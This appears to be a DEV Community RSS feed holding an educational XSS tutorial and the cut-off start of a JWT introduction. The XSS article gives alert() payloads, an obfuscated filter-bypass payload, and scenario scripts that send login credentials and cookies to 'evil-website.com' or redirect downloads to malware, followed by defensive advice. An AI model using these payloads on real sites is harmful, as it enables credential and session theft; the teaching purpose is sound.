<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Kyle Mistele</title>
    <description>The latest articles on DEV Community by Kyle Mistele (@kmistele).</description>
    <link>https://dev.to/kmistele</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F538761%2Fee10db8f-551a-43f4-ac8c-b819380fdef9.jpg</url>
      <title>DEV Community: Kyle Mistele</title>
      <link>https://dev.to/kmistele</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kmistele"/>
    <language>en</language>
    <item>
      <title>XSS: What it is, how it works, and how to prevent it</title>
      <dc:creator>Kyle Mistele</dc:creator>
      <pubDate>Mon, 18 Jan 2021 16:22:02 +0000</pubDate>
      <link>https://dev.to/kmistele/xss-what-it-is-how-it-works-and-how-to-prevent-it-589o</link>
      <guid>https://dev.to/kmistele/xss-what-it-is-how-it-works-and-how-to-prevent-it-589o</guid>
      <description>&lt;p&gt;If you're a developer, chances are that you've heard of cross-site scripting. Cross-site scripting, commonly known as XSS, is one of the &lt;a href="https://owasp.org/www-project-top-ten/"&gt;top 10 most common web security vulnerabilities&lt;/a&gt; according to &lt;a href="https://owasp.org"&gt;OWASP&lt;/a&gt;. Cross-site scripting continues to be a major problem in many web applications, and it can result in some serious problems. As a developer, it's important to know what XSS is and to be aware of it, but it's &lt;em&gt;even more important&lt;/em&gt; to know how to prevent it. Cybersecurity isn't just for security specialists, it's for everyone.&lt;/p&gt;

&lt;p&gt;Today, I'm going to give you an introduction to XSS. Specifically, I'm going to cover:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What XSS is, and the 3 types of XSS&lt;/li&gt;
&lt;li&gt;Why XSS matters&lt;/li&gt;
&lt;li&gt;How to prevent XSS in your web applications&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  What is XSS?
&lt;/h1&gt;

&lt;p&gt;Cross-site scripting occurs when attackers or malicious users can manipulate a web site or web application to return malicious JavaScript to users. When this malicious JavaScript is executed in the user's browser, all of the user's interactions with the site (including but not limited to authentication and payment) can be compromised by the attacker.&lt;/p&gt;

&lt;p&gt;There are 3 primary types of cross-site scripting:&lt;/p&gt;

&lt;h2&gt;
  
  
  DOM-based XSS
&lt;/h2&gt;

&lt;p&gt;This type of XSS occurs when user input is manipulated in an unsafe way in the DOM (Document Object Map) by JavaScript. For example, this can occur if you were to read a value from a form, and then use JavaScript to write it back out to the DOM. If an attacker can control the input to that form, then they can control the script that will be executed. Common sources of DOM-based XSS include the &lt;code&gt;eval()&lt;/code&gt; function and the &lt;code&gt;innerHTML&lt;/code&gt; attribute, and attacks are commonly executed through the URL. PortSwigger has a &lt;a href="https://portswigger.net/web-security/cross-site-scripting/dom-based"&gt;great article&lt;/a&gt; on this. I've included an example below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;username_input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username_box&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;username_box&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;user_name_box&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To exploit this vulnerability, you could insert a malicious script into the input that would be executed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Cross site scripting has occurred!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Reflected XSS
&lt;/h2&gt;

&lt;p&gt;Reflected XSS is similar to DOM-based XSS: it occurs when the web server receives an HTTP request, and "reflects" information from the request back into the response in an unsafe manner. An example would be where the server will place the requested application route or URL in the page that is served back to the user. An attacker can construct a URL with a malicious route that contains JavaScript, such that if a user visits the link, the script will execute.&lt;/p&gt;

&lt;p&gt;Malicious URLs containing cross-site scripting are commonly used as &lt;a href="https://en.wikipedia.org/wiki/Social_engineering_%28security%29"&gt;social engineering&lt;/a&gt; helpers in phishing emails or malicious links online.&lt;/p&gt;

&lt;p&gt;Here's an example - given a route that will 404,&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET https://example.com/route/that/will/404
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;a vulnerable server might generate the response like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;404&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt; Error: route "/route/that/will/404 was not found on the server&lt;span class="nt"&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attacker could exploit this by constructing a URL like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://example.com//route/that/will/404/&amp;lt;script&amp;gt;alert('XSS!');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the user loads the page, the URL will be templated into the page, the script tags will be interpreted as HTML, and the malicious script will execute. PortSwigger has a great &lt;a href="https://portswigger.net/web-security/cross-site-scripting/reflected"&gt;article&lt;/a&gt; on this as well.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stored XSS
&lt;/h2&gt;

&lt;p&gt;Stored XSS occurs when user-created data is stored in a database or other persistent storage, and is then loaded into a page. Common examples of types of applications that do this include forums, comment plugins, and similar applications. Stored XSS is particularly dangerous when the stored content is displayed to many or all users of the application, because then one user can compromise the site for any user that visits it, without requiring that they click on a specific link.&lt;/p&gt;

&lt;p&gt;For example, suppose that a forum thread's posts are stored in a database, and that they're loaded whenever someone visits the thread and displayed. A malicious user could leave a comment that contains malicious JavaScript between &lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; tags in their post, and then the script would execute in the browser of any user that visits the page. &lt;/p&gt;

&lt;p&gt;For example, their post in the threat might look something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;This is some text replying to the thread &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why does Cross-site scripting matter?
&lt;/h2&gt;

&lt;p&gt;This is all well and good, you might think, but what does it matter? So what if someone can make an &lt;code&gt;alert()&lt;/code&gt; bubble pop up on my webpage? That's a fair question - most XSS examples, including the ones I provided above, use &lt;code&gt;alert()&lt;/code&gt; as a proof-of-concept. However, cross-site scripting is by no means limited to &lt;code&gt;alert()&lt;/code&gt; bubbles - an attacker could execute any malicious JavaScript they wanted to. Let's think about a few scenarios.&lt;/p&gt;

&lt;h3&gt;
  
  
  Scenario 1: Stealing credentials from a login page
&lt;/h3&gt;

&lt;p&gt;Suppose that an attacker has discovered a cross-site scripting vulnerability in a login page on a website. They could inject JavaScript to add an event listener to the form, such that whenever it is submitted it captures the username and password of the user that's trying to log in and sends them to a server controlled by the attacker:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// add an event listener to the form &lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;form_element&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementsByTagName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;form&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nx"&gt;form_element&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;submit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="c1"&gt;// capture the username and password from the form&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;username_input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;password_input&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// send the username and password to the attacker&lt;/span&gt;
  &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`https://evil-website.com/password-capture/?u=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;amp;p=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Scenario 2: Hijacking sessions from a forum
&lt;/h3&gt;

&lt;p&gt;Suppose that our attacker has discovered a stored XSS vulnerability in a forum page. For the sake of this example, the forum is storing session without the &lt;code&gt;HttpOnly&lt;/code&gt; attribute (more on that &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#restrict_access_to_cookies"&gt;here&lt;/a&gt;). &lt;/p&gt;

&lt;p&gt;The attacker could inject a script to grab the session cookie of anyone that is logged in to the forum that views the thread, and could impersonate their user on the forum or the site at large:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// capture the cookies&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cookie&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// send the cookies to the attacker&lt;/span&gt;
&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`https://evil-website.com/cookie-capture`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;cookie&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Scenario 3: Compromising a downloads page to install malware
&lt;/h3&gt;

&lt;p&gt;Suppose that the attacker has compromised the download page of a website with a cross-site scripting attack. They could use a XSS payload to modify the download links, so that instead of attempting to download the intended software, they point to malicious software hosted on the attacker's server. When users load the page and attempt to download the intended softare, they are served malware from the attacker's server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// grab all download links on the page&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;download_links&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementsByClassName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;download-link&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// change their target to a malicious piece of software hosted on the attacker's server&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;link&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;download_links&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;link&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;setAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;href&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil-website.com/evil-program.exe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Still not convinced?
&lt;/h3&gt;

&lt;p&gt;The possible applications of XSS attacks are numerous - aside from stealing credentials, hijacking sessions, and modifying links, XSS can be used to modify the page at will, it can be used to impersonate the victim user, and it can be used to perform any action that the victim is allowed to do on the site.&lt;/p&gt;

&lt;p&gt;Famously, or perhaps infamously, cross-site scripting vulnerabilities were exploited in a type of attack known as &lt;a href="https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/magecart-an-overview-and-defense-mechanisms/"&gt;magecart attacks&lt;/a&gt; to steal users' credit card information from online payment forms.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preventing XSS Attacks
&lt;/h2&gt;

&lt;p&gt;XSS vulnerabilities are incredibly easy to create by accident. To prevent them, you need to put in place good coding practices, code review processes, and multiple layers of defense. The easiest way to prevent XSS would be to never allow users to supply data that's rendered into the page, but the fact is that this isn't a practical answer, since most applications store and manipulate user input in some form. Unfortunately, there is no one single foolproof way to prevent XSS. Therefore, it is important to have multiple layers of defense against cross-site scripting. &lt;/p&gt;

&lt;h3&gt;
  
  
  Validate and Sanitize User-supplied Data
&lt;/h3&gt;

&lt;p&gt;User data should be validated on the front end of sites for correctness (e.g. email and phone number formatting), but it should also always be validated and sanitized on the backend for security. Depending on the application, you may be able to whitelist alphanumeric characters, and blacklist all other characters. However, this solution is not foolproof. It may help mitigate attacks, but it cannot prevent them entirely.&lt;/p&gt;

&lt;h3&gt;
  
  
  HTML Encoding
&lt;/h3&gt;

&lt;p&gt;Any time that you are rendering user-provided data into the body of the document (e.g. with the &lt;code&gt;innerHTML&lt;/code&gt; attribute in JavaScript), you should HTML encode the data. However, this &lt;strong&gt;may not always&lt;/strong&gt; prevent XSS if you are placing user-provided data in HTML tag attributes, and &lt;strong&gt;is not effective&lt;/strong&gt; against placing untrusted data inside of a &lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; tag. If you decide to place user-provided data in HTML tag attributes, ensure that you are always using quotes around your attributes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Use A Security Encoding Library
&lt;/h3&gt;

&lt;p&gt;For many languages and frameworks, there are security encoding libraries that can help prevent XSS. For example, OWASP has &lt;a href="https://owasp.org/www-project-java-encoder/"&gt;one such library&lt;/a&gt; for Java. You should consider using a similar library for your web projects.&lt;/p&gt;

&lt;h3&gt;
  
  
  Use a Web Application Firewall
&lt;/h3&gt;

&lt;p&gt;It may seem like overkill, but there are web application firewalls designed to specifically prevent common web attacks such as XSS and SQL Injection. Using a web application firewall (WAF) is not necessary for most applications, but for applications that require strong security, they can be a great resource. One such WAF is &lt;a href="https://github.com/SpiderLabs/ModSecurity"&gt;ModSecurity&lt;/a&gt;, which is available for Apache, Nginx, and IIS. Check out their &lt;a href="https://github.com/SpiderLabs/ModSecurity/wiki"&gt;wiki&lt;/a&gt; for more information.&lt;/p&gt;

&lt;h3&gt;
  
  
  Other resources
&lt;/h3&gt;

&lt;p&gt;OWASP and PortSwigger both have &lt;em&gt;excellent&lt;/em&gt; guides on preventing cross-site scripting attacks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://portswigger.net/web-security/cross-site-scripting/preventing"&gt;https://portswigger.net/web-security/cross-site-scripting/preventing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"&gt;https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How &lt;strong&gt;not&lt;/strong&gt; to prevent XSS attacks
&lt;/h3&gt;

&lt;p&gt;There are lots of great ways to mitigate and prevent XSS attacks, but there are also lots of &lt;em&gt;really bad&lt;/em&gt; ways to try and prevent it. Here are some common ways that people try to prevent XSS that are unlikely to be successful:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;searching for &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; characters in user-supplied data&lt;/li&gt;
&lt;li&gt;searching for &lt;code&gt;&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; tags in user-supplied data&lt;/li&gt;
&lt;li&gt;using regexes to try and filter out script tags or other common XSS injections&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In reality, XSS payloads can be extremely complicated, and can also be extremely obfuscated. Here's an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;BODY&lt;/span&gt; &lt;span class="na"&gt;onload&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="na"&gt;#&lt;/span&gt;&lt;span class="err"&gt;$%&amp;amp;()&lt;/span&gt;&lt;span class="na"&gt;*&lt;/span&gt;&lt;span class="err"&gt;~+&lt;/span&gt;&lt;span class="na"&gt;-_.&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="na"&gt;:&lt;/span&gt;&lt;span class="err"&gt;;?@[/|\]^`=&lt;/span&gt;&lt;span class="na"&gt;alert&lt;/span&gt;&lt;span class="err"&gt;("&lt;/span&gt;&lt;span class="na"&gt;XSS&lt;/span&gt;&lt;span class="err"&gt;")&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cybercriminals often have extremely robust tools that can be used to attempt to bypass filters by obfuscating their XSS payloads. A homebrew regex is probably not going to cut it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;Key takeaways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;There are 3 types of XSS: Reflected, DOM-based, and stored&lt;/li&gt;
&lt;li&gt;XSS can be exploited to execute arbitrary JavaScript in a users's web browser&lt;/li&gt;
&lt;li&gt;XSS attacks can be used to steal authentication information, hijack sessions, steal sensitive data, and deface websites.&lt;/li&gt;
&lt;li&gt;Prevent XSS by sanitizing user data on the backend, HTML-encode user-provided data that's rendered into the template, and use a security encoding library or WAF.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I hope you find this useful! Let me know what you think in the comments below. &lt;/p&gt;

&lt;p&gt;If you're writing code for cloud applications, you need to know when things go wrong. I helped build &lt;a href="https://codelighthouse.io/?ref=DEV"&gt;CodeLighthouse&lt;/a&gt; to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at &lt;a href="https://codelighthouse.io/?ref=DEV"&gt;codelighthouse.io&lt;/a&gt; today!&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>cybersecurity</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Demystifying JWT: How to secure your next web app</title>
      <dc:creator>Kyle Mistele</dc:creator>
      <pubDate>Tue, 05 Jan 2021 17:13:25 +0000</pubDate>
      <link>https://dev.to/kmistele/demystifying-jwt-how-to-secure-your-next-web-app-9h0</link>
      <guid>https://dev.to/kmistele/demystifying-jwt-how-to-secure-your-next-web-app-9h0</guid>
      <description>&lt;p&gt;How are you securing your web applications? Are you using session cookies? Third party-based authentication? SAML? Today I’m going to introduce you to a neat standard called JSON Web Tokens, or JWT for short. If you’re worked on web applications, there’s a good chance you’ve at least heard of them, but today I’m going to try to de-mystify them for you.&lt;/p&gt;

&lt;p&gt;If you’re interested in getting into all the nitty-gritty details, you can &lt;a href="https://tools.ietf.org/html/rfc7519"&gt;read the RFC&lt;/a&gt;, but that’s not the goal of this article. Instead, I’m going to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Give you a high-level overview of what JWT is&lt;/li&gt;
&lt;li&gt;Go a little more in-depth about how JWT works and why it’s great&lt;/li&gt;
&lt;li&gt;Cover some common JWT security pitfalls&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What is JWT?
&lt;/h2&gt;

&lt;p&gt;JSON Web Token (JWT) is an &lt;a href="https://tools.ietf.org/html/rfc7519"&gt;open standard&lt;/a&gt; for creating and transmitting data. It provides a way to &lt;a href="https://en.wikipedia.org/wiki/Digital_signature"&gt;cryptographically sign&lt;/a&gt; a JSON payload to verify its authenticity and integrity, and/or to encrypt the JSON payload to provide confidentiality. Note that you might sometimes hear cryptographic signatures referred to as digital signatures — they’re two names for the same thing.&lt;/p&gt;

&lt;h3&gt;
  
  
  A JWT is a cryptographically signed token
&lt;/h3&gt;

&lt;p&gt;For the purposes of this article, we’ll be discussing &lt;em&gt;cryptographically signed&lt;/em&gt; tokens. Cryptographically signed tokens are issued by the server to a user, and can then be presented by the user back to the server to prove that the user is authorized to perform an action. There are two primary advantages to this cryptographic signature:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Since only the server knows the secret key, only the server can issue valid tokens.&lt;/li&gt;
&lt;li&gt;It is impossible to modify or tamper with the token and its JSON payload without detection because of the properties of cryptographic signatures. (Want to know how that works? More on that &lt;a href="https://www.practicalnetworking.net/series/cryptography/message-integrity/"&gt;here&lt;/a&gt;. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These properties make JWTs a great mechanism for authorization: when a user logs in with their username and password, you can issue them a token that contains identifying information such as their User ID, their permission/access level, and other attributes that might be useful.&lt;/p&gt;

&lt;p&gt;Then when the user tries and access application routes or functions, they present this token to the server, and the server can read these properties from the token. Once the application ensures that the token is valid (tokens can be configured to expire) and hasn’t been tampered with, you can make authorization decisions based on the information in the token.&lt;/p&gt;

&lt;h3&gt;
  
  
  Token structure: the 3 parts of a JWT
&lt;/h3&gt;

&lt;p&gt;A signed JSON Web Token has 3 main parts: the &lt;strong&gt;header&lt;/strong&gt;, the JSON &lt;strong&gt;payload&lt;/strong&gt;, and the &lt;strong&gt;signature&lt;/strong&gt;.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;header&lt;/strong&gt; contains JSON identifying the encryption algorithm used to generate the cryptographic signature, and can also contain &lt;a href="https://en.wikipedia.org/wiki/JSON_Web_Token#Standard_fields"&gt;other information&lt;/a&gt; such as token type, and x.509 certificate chain information if you’re using it.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;payload&lt;/strong&gt; is a JSON object. The data which it contains is known as the &lt;em&gt;claims&lt;/em&gt;. The JWT standard defines &lt;a href="https://tools.ietf.org/html/rfc7519#section-4.1"&gt;seven standard claims&lt;/a&gt;. You can think of these as “reserved” claims in the same way that some keywords in most programming languages are reserved to mean certain things and can’t be used for other variable names (examples that come to mind include &lt;code&gt;class&lt;/code&gt; &lt;code&gt;if&lt;/code&gt;, &lt;code&gt;else&lt;/code&gt;, and so forth). These standard claims can store information about the user's identity, expiration information, the issuer, and more. You can also add additional claims to the token at will. I'll cover this more in the subsection below.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;signature&lt;/strong&gt;, which is calculated by encoding the header and payload with base64, concatenating them together with a &lt;code&gt;.&lt;/code&gt;, and then encrypting this string using the server's private key. To verify a token, the server will repeat this process for the header and payload of the token that it received, and then compare the result to the token's signature block. If the token has been tampered with, the two will not match.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To form the token from these parts, each part is &lt;a href="https://www.developertoolkits.com/base64/what-is-base64"&gt;base64 encoded&lt;/a&gt;, and the parts are concatenated together with dots. Below is an example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbkFzIjoiYWRtaW4iLCJpYXQiOjE0MjI3Nzk2Mzh9.gzSraSYS8EXBxLN_oWnFSRgCzcmJmMjLiuyu5CSpyHI
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  JWT Claims - storing information in JWT tokens
&lt;/h3&gt;

